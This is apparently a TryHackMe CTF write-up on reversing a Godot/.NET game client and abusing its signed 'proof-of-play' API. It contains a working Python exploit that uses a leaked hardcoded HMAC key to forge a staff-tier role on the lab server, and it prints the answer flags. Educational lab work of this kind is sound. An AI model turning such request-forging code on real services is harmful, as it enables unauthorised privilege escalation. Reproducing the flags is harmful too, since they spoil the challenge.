August 26, 2026
Grand Larceny II
S F L SECUREFORESIGHTLABS · OFFENSIVE RESEARCH NOTES T r y H a c k M e W r i t e — u p · R e v e r s e E n g i n e e r i n g + A P I A b u…
By Secureforesightlabs
3 min read
S F L SECUREFORESIGHTLABS · OFFENSIVE RESEARCH NOTES T r y H a c k M e W r i t e — u p · R e v e r s e E n g i n e e r i n g + A P I A b u s e Grand Larceny Auto II The flag isn't in the game at all. Reversing a Godot/.NET client's "proof-of-play" HTTP protocol to forge a staff-tier claim the shipped client never sends.
ROOM tryhackme.com/room/grandlarcenyautoii
CATEGORY Reverse Engineering / Web API
LAB MACHINE 10.82.133.106 (gla2.thm)
TARGET GrandLarcenyAuto.dll — classes PoPClient, CryptoUtil
PROTECTION None (plain #US string heap)
DATE August 26, 2026
CONFIRMED FLAG THM{Th4ts_th3_wr0ng_g4m3_t0mmy}
01 Overview GLA II reuses the first game's shell but moves the win condition server-side: a "proof-of-play" back office at http://gla2.thm gates the real flag behind a signed HTTP protocol. The client itself ships two decoys — a cheat-console easter egg and the normal in-game vault completion — and the room text says so outright: "The cheat console lies. The vault on your screen lies." Download GrandLarcenyAuto-linux-x86_64.zip (unobfuscated build, used for static analysis) Key binary data_GrandLarcenyAuto_linuxbsd_x86_64/GrandLarcenyAuto.dll Relevant types PoPClient (HTTP/session/signing logic), CryptoUtil Server http://gla2.thm → lab machine 10.82.133.106
02 Static analysis Unlike the prequel, this build carries no obfuscation, so a straight strings dump of the .NET #US (user string) heap is enough to recover the entire protocol surface — endpoints, JSON field names, and even the HMAC signing key — without touching IL:
pip install dnfile python3 — <<'EOF' import dnfile pe = dnfile.dnPE("GrandLarcenyAuto.dll") heap = pe.net.user_strings off = 1 while off < heap.sizeof(): item = heap.get(off) if item and item.value: print(hex(off), repr(item.value)) off += max(item.raw_size, 1) if item else 1 EOF
Notable strings recovered directly from the heap: String Significance L0SV4NT0S247 Cheat console code SFL // SecureForesightLabs Grand Larceny Auto II TLP:AMBER — Internal Research Notes Page 2 / 6 THM{ch34t_c0d3s_4r3_f0r_t0ur1sts} Decoy #1 — returned directly by the cheat console THM{th3_v4ult_w4s_4_d3c0y} Decoy #2 — shown on normal vault completion (civilian tier) http://gla2.thm Back-office base URL /session , /checkpoint , /claim API endpoints gla2_crew_sign_v1_2f9b6c8ad14e Static HMAC signing key GLA::vault::key::v1::stars= Local vault-key derivation prefix (unrelated to the server protocol, carried over from GLA I) IL disassembly of PoPClient (same dnfile/dncil driver as GLA I) confirms the exact wire format and signing scheme: string Sign(string msg) => ToHex(HMACSHA256.HashData(key: UTF8("gla2_crew_sign_v1_2f9b6c8ad14e"), data: UTF8(msg))); // PoPClient.ReportCheckpoint(step): sig = Sign(sessionId + "|" + step + "|" + token); POST /checkpoint { session_id, step, token, sig } // PoPClient.Claim(): sig = Sign(sessionId + "|claim|" + token); POST /claim { session_id, role: "player", token, sig } // ← always "player" Endpoint Body Notes POST /session {} Returns session_id , token , stash_order (3 stash IDs) POST / checkpoint session_id, step, token, sig step sequence: heat5 → stash{N} per stash_order → vault POST /claim session_id, role, token, sig Returns flag, tier, note
03 The bug: an unused method the developers left compiled in the shipped client only ever claims with "role":"player" — that's decoy #2. But the assembly also contains PoPClient.DeriveStaffRole() , a method that is never called anywhere in the compiled game logic (confirmed by searching every call-site reference to it):
string DeriveStaffRole() { string s = $"heat5_stash{StashOrder[0]}_stash{StashOrder[1]}_stash{StashOrder[2]} _vault"; return ToHex(SHA1.HashData(UTF8(s))); }
FINDING StashOrder is data the server itself hands back in the /session response — nothing secret about it. And critically, the /claim signature only ever covers session_id|claim|token : the role field is never included in the HMAC. Nothing stops a client from submitting role = DeriveStaffRole() instead of "player" , as long as every prior checkpoint was legitimately completed server-side.
04 Exploitation The exploit re-implements the entire client state machine in Python and plays it honestly step-by-step against the real server — the only deviation from the shipped client is the final role value. (This must be run from a host with a network route to the lab machine — the TryHackMe VPN or the in-browser AttackBox — not an arbitrary offsite sandbox.)
import hashlib, hmac, json, requests SIGN_KEY = b"gla2_crew_sign_v1_2f9b6c8ad14e" BASE_URL = "http://10.82.133.106" HEADERS = {"Content-Type": "application/json", "Host": "gla2.thm"} def sign(msg): return hmac.new(SIGN_KEY, msg.encode(), hashlib.sha256).hexdigest() def derive_staff_role(order): a, b, c = order return hashlib.sha1(f"heat5_stash{a}_stash{b}_stash{c} _vault".encode()).hexdigest() session_id = token = "" def post(path, body): global session_id, token j = requests.post(BASE_URL + path, data=json.dumps(body), headers=HEADERS, timeout=10).json() if "token" in j: token = j["token"] if "session_id" in j: session_id = j["session_id"] return j j = post("/session", {}) order = j["stash_order"] post("/checkpoint", {"session_id": session_id, "step": "heat5", "token": token, "sig": sign(f"{session_id}|heat5|{token}")}) for n in order: step = f"stash{n}" post("/checkpoint", {"session_id": session_id, "step": step, "token": token, "sig": sign(f"{session_id}|{step}|{token}")}) post("/checkpoint", {"session_id": session_id, "step": "vault", "token": token, "sig": sign(f"{session_id}|vault|{token}")}) staff_role = derive_staff_role(order) result = post("/claim", {"session_id": session_id, "role": staff_role, "token": token, "sig": sign(f"{session_id}|claim|{token}")}) print("FLAG:", result.get("flag"))
The /claim response comes back with a non-civilian tier and an empty note field — the same condition the client checks locally ( PoPClient.RealFlag ) to decide whether to show the "staff access granted" text instead of the "civilian access" decoy message. FLAG THM{Th4ts_th3_wr0ng_g4m3_t0mmy}
05 Decoys encountered DECOY 1 — CHEAT CONSOLE Entering L0SV4NT0S247 in the in-game cheat console returns THM{ch34t_c0d3s_4r3_f0r_t0ur1sts} directly from client-side logic (CheatConsole.Submit ) with no server round-trip at all.
DECOY 2 — LEGITIMATE VAULT COMPLETION Finishing the heist normally and claiming with the client's hardcoded role: "player" returns THM{th3_v4ult_w4s_4_d3c0y} , tier civilian , with a note pointing at "a higher tier of access."
06 Key takeaway A signature is only as strong as what it covers. Here every field the client could tamper with except the one that actually mattered ( role ) was protected by the HMAC — and the correct privileged value for that field was sitting fully computable, in dead code, inside the client binary itself.
SFL // SecureForesightLabs Grand Larceny Auto II — Research Notes